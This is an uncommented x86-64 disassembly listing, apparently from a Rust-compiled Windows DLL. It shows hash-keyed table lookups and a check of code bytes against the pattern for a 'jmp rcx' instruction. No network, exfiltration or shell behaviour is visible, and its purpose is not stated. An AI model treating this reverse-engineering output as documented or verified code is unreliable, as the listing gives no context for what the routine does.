mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0xd0]
mov r8, rbp
lea r9, [rsp + 0x40]
call fcn.180062990
mov r14d, dword [rsp + 0xa0]
test r14d, r14d
jne 0x18005678d
cmp qword [rsp + 0xa8], 0
je 0x180056372
mov rbp, qword [rsp + 0xb0]
lea r9, [rbp - 1]
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 1
mov rcx, r13
call fcn.180039890
mov r14d, dword [rsp + 0x180]
test r14d, r14d
jne 0x1800567f0
cmp byte [rsp + 0x184], 0xc3
je 0x180056372
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 1
mov rcx, r13
mov r9, rbp
call fcn.180038f70
mov r14d, dword [rsp + 0x180]
mov ebx, dword [rsp + 0x184]
test r14d, r14d
jne 0x180056863
add ebx, 4
movsxd rax, ebx
add rax, rbp
cmp r12, rax
jne 0x1800560f9
lea r9, [rbp - 0xa]
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
mov byte [rsp + 0x20], 1
mov rcx, r13
call fcn.180038f70
mov r14d, dword [rsp + 0x180]
mov ebx, dword [rsp + 0x184]
test r14d, r14d
jne 0x180056b49
add ebx, 0xfffffffa
movsxd r9, ebx
add r9, rbp
mov rax, qword [rsp + 0xd0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x20], rax
mov byte [rsp + 0x30], 1
mov qword [rsp + 0x28], 3
mov rcx, r13
call fcn.180038a10
mov r14d, dword [rsp + 0x180]
test r14d, r14d
jne 0x180056ba8
cmp qword [rsp + 0x188], 3
jne 0x180056bc8
movzx eax, byte [rsp + 0xf2]
shl eax, 0x10
movzx ecx, word [rsp + 0xf0]
or ecx, eax
cmp ecx, 0xe1ff48
jne 0x1800560f9
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x180072a78]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov r15, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0x1019c706
mov r8d, 0xffff1c94
mov r9, r15
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x180056372
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, r15
mov r8, rax
call qword [r10 + 0x20]
dec qword [rsi]
mov r13, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
jmp 0x18004f03e
xor r10d, r10d
mov edx, 0xff
mov r8, rcx
mov r9, rcx
jmp 0x1800563ae
mov r9, r8
sub r8, r10
jbe 0x180056eba
shr r8, 1
add r8, r10
mov r11, r8
shl r11, 5
xor esi, esi
cmp dword [rax + r11 + 0x18], 0xf962fd19
setne sil
cmovb esi, edx
cmp sil, 1
je 0x1800563a2
movzx r10d, sil
cmp r10d, 0xff
jne 0x180056400
inc r8
mov r10, r8
mov r8, r9
sub r8, r10
ja 0x1800563ae
jmp 0x180056eba
movzx ebp, word [rsp + 0x184]
jmp 0x18005649d
mov rdx, qword [rax + r11 + 8]
test rdx, rdx
je 0x180056eba
mov r8, qword [rax + r11]
xor r11d, r11d
mov r9d, 0xff
mov r10, rdx
jmp 0x18005642c
mov r10, rdx
sub rdx, r11
jbe 0x180056eba
shr rdx, 1
add rdx, r11
mov rdi, rdx
shl rdi, 5
xor esi, esi
cmp dword [r8 + rdi + 0x18], 0x237589c3
setne sil
cmovb esi, r9d
cmp sil, 1
je 0x180056420
movzx r11d, sil
cmp r11d, 0xff
jne 0x18005671a
inc rdx
mov r11, rdx
mov rdx, r10
sub rdx, r11
ja 0x18005642c
jmp 0x180056eba
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], r15d
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x5d7bdb27
movd r15d, xmm6
test r15d, r15d
jne 0x180055ce5
movzx eax, bp
cmp eax, 0x64c0
jg 0x1800564c1
cmp eax, 0x446b
je 0x1800564da
cmp eax, 0x4481
je 0x1800564da
cmp eax, 0x4c81
je 0x1800564da
jmp 0x180056594
cmp eax, 0x64c1
je 0x1800564da
cmp eax, 0x7481
je 0x1800564da
cmp eax, 0x6cc1
jne 0x180056594
cmp byte [rsp + 0xe8], 0
mov al, 1
mov dword [rsp + 0xe8], eax
je 0x180056594
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x1800701ed]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0xafee5d80
mov r8d, 0xe543
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x18004948c
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
jmp 0x18004948c
lea rax, [rdi + 0x20]
xor ecx, ecx
mov rdx, rax
sub rdx, 1
cmovae rcx, rdx
test rax, rax
mov eax, 1
cmovne rax, rdi
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
cmp rax, rcx
cmovbe rsi, r13
mov byte [rsp + 0x50], 0
mov byte [rsp + 0x190], 2
movdqu xmm0, xmmword [rsi]
movdqa xmmword [rsp + 0xd0], xmm0
mov eax, dword [rsi + 0x11]
mov ecx, dword [rsi + 0x14]
mov dword [rsp + 0x108], eax
mov dword [rsp + 0x10b], ecx
ja 0x180046c91
movdqa xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0xa0], xmm0
mov byte [rsp + 0xb0], 0
mov eax, dword [rsp + 0x108]
mov ecx, dword [rsp + 0x10b]
mov dword [r14 + 3], ecx
mov dword [r14], eax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0xa0]
lea r8, [rsp + 0x120]
mov r9d, 2
call fcn.180035970
mov r15d, dword [rsp + 0x70]
test r15d, r15d
jne 0x180052747
cmp qword [rsp + 0x78], 0
je 0x18004948c
mov rdi, qword [rsp + 0x80]
lea r9, [rdi - 4]
mov rax, qword [rsp + 0xc0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea rsi, [rsp + 0x180]
mov rcx, rsi
call fcn.180039310
mov eax, dword [rsp + 0x180]
test eax, eax
je 0x1800568c2
mov ebp, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov r15d, dword [rsp + 0x190]
movd xmm0, ebp
movd xmm6, eax
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], r15d
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x1800568cc
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x1800568d8
xor r10d, r10d
mov edx, 0xff
mov r8, rcx
mov r9, rcx
jmp 0x180056736
mov r9, r8
sub r8, r10
jbe 0x180056eba
shr r8, 1
add r8, r10
mov r11, r8
shl r11, 5
xor esi, esi
cmp dword [rax + r11 + 0x18], 0x2ecb125d
setne sil
cmovb esi, edx
cmp sil, 1
je 0x18005672a
movzx r10d, sil
cmp r10d, 0xff
jne 0x180056ad3
inc r8
mov r10, r8
mov r8, r9
sub r8, r10
ja 0x180056736
jmp 0x180056eba
lea r8, [0x180072a80]
call fcn.18000b9f0
ud2
mov edi, dword [rsp + 0xa4]
mov rbx, qword [rsp + 0xa8]
mov ebp, dword [rsp + 0xb0]
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0x48], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180056c2d
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x180056c3b
mov edi, dword [rsp + 0x184]
mov rbx, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
movd xmm0, edi
movd xmm6, r14d
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180056c6b
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180056c76
mov rdi, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180056ca3
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180056cae
movzx ebp, word [rsp + 0x184]
jmp 0x1800568f3
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], r15d
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x5d7bdb27
movd r15d, xmm6
test r15d, r15d
jne 0x180055ce5
movzx eax, bp
cmp eax, 0x64c0
jg 0x180056914
cmp eax, 0x446b
je 0x180056929
cmp eax, 0x4481
je 0x180056929
cmp eax, 0x4c81
je 0x180056929
jmp 0x180056940
cmp eax, 0x64c1
je 0x180056929
cmp eax, 0x7481
je 0x180056929
cmp eax, 0x6cc1
jne 0x180056940
cmp byte [rsp + 0xe8], 0
mov al, 1
mov dword [rsp + 0xe8], eax
jne 0x1800564f1
lea rax, [rdi + 0x20]
xor ecx, ecx
mov rdx, rax
sub rdx, 1
cmovae rcx, rdx
test rax, rax
mov eax, 1
cmovne rax, rdi
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rcx
cmp rax, rcx
cmova r13, rsi
mov byte [rsp + 0x50], 0
mov byte [rsp + 0x190], 2
movdqu xmm0, xmmword [r13]
movdqa xmmword [rsp + 0xd0], xmm0
mov eax, dword [r13 + 0x11]
mov ecx, dword [r13 + 0x14]
mov dword [rsp + 0x108], eax
mov dword [rsp + 0x10b], ecx
ja 0x180046c91
movdqa xmm0, xmmword [rsp + 0xd0]
movdqa xmmword [rsp + 0xa0], xmm0
mov byte [rsp + 0xb0], 0
mov eax, dword [rsp + 0x108]
mov ecx, dword [rsp + 0x10b]
mov dword [r14 + 3], ecx
mov dword [r14], eax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x70]
lea rdx, [rsp + 0xa0]
lea r8, [rsp + 0x120]
mov r9d, 2
call fcn.180035970
mov r15d, dword [rsp + 0x70]
test r15d, r15d
jne 0x180052747
cmp qword [rsp + 0x78], 0
je 0x18004948c
mov r9, qword [rsp + 0x80]
add r9, 0xfffffffffffffffc
mov rax, qword [rsp + 0xc0]
mov rdx, qword [rax]
mov r8, qword [rax + 8]
lea rcx, [rsp + 0x180]
call fcn.180039310
mov eax, dword [rsp + 0x180]
test eax, eax
je 0x180056dd1
mov ebp, dword [rsp + 0x184]
mov rsi, qword [rsp + 0x188]
mov edi, dword [rsp + 0x190]
movd xmm0, ebp
movd xmm6, eax
punpckldq xmm6, xmm0
mov qword [rsp + 0xa0], rsi
mov dword [rsp + 0xa8], edi
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180056ddb
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180056de6
lea r8, [0x180072b68]
call fcn.18000b9f0
ud2
mov rdx, qword [rax + r11 + 8]
test rdx, rdx
je 0x180056eba
mov r8, qword [rax + r11]
xor r11d, r11d
mov r9d, 0xff
mov r10, rdx
jmp 0x180056aff
mov r10, rdx
sub rdx, r11
jbe 0x180056eba
shr rdx, 1
add rdx, r11
mov rdi, rdx
shl rdi, 5
xor esi, esi
cmp dword [r8 + rdi + 0x18], 0x6e4c3032
setne sil
cmovb esi, r9d
cmp sil, 1
je 0x180056af3
movzx r11d, sil
cmp r11d, 0xff
jne 0x180056d4f
inc rdx
mov r11, rdx
mov rdx, r10
sub rdx, r11
ja 0x180056aff
jmp 0x180056eba
mov rdi, qword [rsp + 0x188]
mov ebp, dword [rsp + 0x190]
mov qword [rsp + 0xa0], rdi
mov dword [rsp + 0xa8], ebp
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x40]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x40], 0
je 0x180056d00
lea rcx, [rsp + 0xa0]
call fcn.1800366d0
xor eax, eax
jmp 0x180056d0b
mov edi, dword [rsp + 0x184]
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0xe8], rax
mov ebx, dword [rsp + 0x190]
jmp 0x180056bd8
mov ebx, 0x951604ae
mov edi, 0x76d4030
mov r14d, 0xc76970a8
mov rax, qword [rsp + 0xe8]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x48], ebx
mov rax, qword [section..data]
lea rdx, [0x180077a08]
lea rcx, [rsp + 0x180]
mov r8d, 0x10
mov r9d, 8
call qword [rax + 0x18]
cmp byte [rsp + 0x180], 0
je 0x180056cbd
lea rcx, [rsp + 0x40]
call fcn.1800366d0
xor eax, eax
jmp 0x180056cd3
mov rax, qword [rsp + 0x188]
mov qword [rax], rbx
mov dword [rax + 8], ebp
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0xf03f5e47
mov rax, qword [rsp + 0x70]
mov ecx, dword [rsp + 0x78]
mov edx, dword [rsp + 0x7c]
mov dword [rsp + 0x40], edi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], ecx
mov dword [rsp + 0x50], edx
jmp 0x180056d1c
mov rax, qword [rsp + 0x48]
mov qword [rax], rbx
mov dword [rax + 8], ebp
movq qword [rsp + 0x70], xmm6
movzx ecx, word [rsp + 0x75]
mov word [rsp + 0x41], cx
movzx ecx, byte [rsp + 0x77]
mov byte [rsp + 0x43], cl
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], 0xf03f5e42
mov byte [rsp + 0x40], dil
jmp 0x180056d1c
mov rax, qword [rsp + 0x48]
mov qword [rax], rdi
mov dword [rax + 8], ebp
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], 0xf03f5e49
jmp 0x180056d18
mov rax, qword [rsp + 0x188]
mov rcx, qword [rsp + 0xe8]
mov qword [rax], rcx
mov dword [rax + 8], ebx
mov dword [rsp + 0x40], edi
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], 0xf03f5e57
jmp 0x180056d1c
lea rcx, str.assertion_failed:_Rc::ptr_eq_h.manager__.0__self.manager_data___
lea r8, [0x18006b428]
mov edx, 0x41
call fcn.18000c680
ud2
mov rax, qword [rsp + 0x48]
mov qword [rax], rdi
mov dword [rax + 8], ebp
mov qword [rsp + 0x44], rax
mov dword [rsp + 0x4c], 0xf03f5e4a
mov dword [rsp + 0x40], ebx
dec qword [rsi]
mov r13, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
jmp 0x18004efc6
lea r8, [0x18006b618]
mov edx, 6
call fcn.18000bfa0
ud2
xor r9d, r9d
mov edx, 0xff
mov r8, rcx
jmp 0x180056d68
mov r8, rcx
sub rcx, r9
jbe 0x180056eba
shr rcx, 1
add rcx, r9
mov r10, rcx
shl r10, 5
xor r11d, r11d
cmp dword [rax + r10 + 0x18], 0x2dd2b3ce
setne r11b
cmovb r11d, edx
cmp r11b, 1
je 0x180056d5c
movzx r9d, r11b
cmp r9d, 0xff
jne 0x180056e51
inc rcx
mov r9, rcx
mov rcx, r8
sub rcx, r9
ja 0x180056d68
jmp 0x180056eba
lea r8, [0x180070648]
call fcn.18000b9f0
ud2
mov r13b, 7
jmp 0x180056ef8
mov bpl, 7
jmp 0x180056f43
movzx ebp, word [rsp + 0x184]
jmp 0x180056e01
mov rax, qword [rsp + 0x48]
mov qword [rax], rsi
mov dword [rax + 8], edi
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x78], 0x5d7bdb27
movd r15d, xmm6
test r15d, r15d
jne 0x180055ce5
movzx eax, bp
cmp eax, 0x64c0
jg 0x180056e25
cmp eax, 0x446b
je 0x180056e3e
cmp eax, 0x4481
je 0x180056e3e
cmp eax, 0x4c81
je 0x180056e3e
jmp 0x18004948c
cmp eax, 0x64c1
je 0x180056e3e
cmp eax, 0x7481
je 0x180056e3e
cmp eax, 0x6cc1
jne 0x18004948c
cmp byte [rsp + 0xe8], 0
je 0x18004948c
jmp 0x1800564f1
mov rcx, qword [rax + r10 + 8]
test rcx, rcx
je 0x180056eba
mov rax, qword [rax + r10]
xor r9d, r9d
mov edx, 0xff
mov r8, rcx
jmp 0x180056e74
mov r8, rcx
sub rcx, r9
jbe 0x180056eba
shr rcx, 1
add rcx, r9
mov r11, rcx
shl r11, 5
xor r10d, r10d
cmp dword [rax + r11 + 0x18], 0x30433d5b
setne r10b
cmovb r10d, edx
cmp r10b, 1
je 0x180056e6c
movzx r9d, r10b
cmp r9d, 0xff
jne 0x180056fb0
inc rcx
mov r9, rcx
mov rcx, r8
sub rcx, r9
ja 0x180056e74
dec qword [r15]
mov r13, qword [rsp + 0xc0]
mov r15, qword [rsp + 0x98]
mov r12, qword [rsp + 0xc8]
mov rsi, qword [r15]
cmp dword [rsi + 0x14c], 0xff30d
jne 0x180046cab
jmp 0x180053dba
mov r13d, eax
mov r15, qword [rsp + 0x180]
mov r8, qword [rsp + 0x190]
mov ecx, 8
mov edx, 8
call fcn.18000f2e0
test rax, rax
je 0x180056f2f
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, r15
mov r8, rax
call qword [r10 + 0x20]
mov byte [rsp + 0x180], r13b
jmp 0x180056f82
mov ebp, eax
mov r15, qword [rsp + 0x180]
mov r8, qword [rsp + 0x190]
mov ecx, 8
mov edx, 8
call fcn.18000f2e0
test rax, rax
je 0x180056f7a
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, r15
mov r8, rax
call qword [r10 + 0x20]
mov byte [rsp + 0x180], bpl
lea rax, [0x18006f9e8]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x18006fcb0]
lea r8, [rsp + 0x180]
mov edx, 0x2b
call fcn.18000cfc0
ud2
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0xd0], rax
mov byte [rsp + 0x40], 4
mov dword [rsp + 0x44], 0x1000
lea rax, [0x180073998]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 3
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
movdqa xmmword [rsp + 0x1a0], xmm0
movdqa xmmword [rsp + 0x190], xmm0
movdqa xmmword [rsp + 0x180], xmm0
mov qword [rsp + 0x28], r13
mov qword [rsp + 0x20], 1
lea rcx, [rsp + 0xa0]
lea rdx, [rsp + 0xd0]
lea r9, [rsp + 0x40]
mov r8, r12
call fcn.180062990
mov esi, dword [rsp + 0xa0]
test esi, esi
je 0x180057151
mov qword [rsp + 0x180], 1
pxor xmm0, xmm0
movdqu xmmword [rsp + 0x188], xmm0
lea r8, [0x18006feb8]
lea rcx, [rsp + 0x40]
lea rdx, [rsp + 0x180]
mov r9d, 4
call fcn.180024f20
mov rsi, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0xc8]
mov rcx, qword [rcx + 0x28]
mov qword [rsp + 0x20], rax
mov edx, 0xe5d4cb4f
mov r8d, 0xe543
mov r9, rsi
call fcn.180045530
mov r8, qword [rsp + 0x50]
mov ecx, 1
mov edx, 1
call fcn.18000f2e0
test rax, rax
je 0x180057141
mov r9, rdx
mov r10, qword [section..data]
lea rcx, [0x180077a08]
mov rdx, rsi
mov r8, rax
call qword [r10 + 0x20]
dec qword [r15]
mov r14, qword [rsp + 0xc0]
jmp 0x18004869e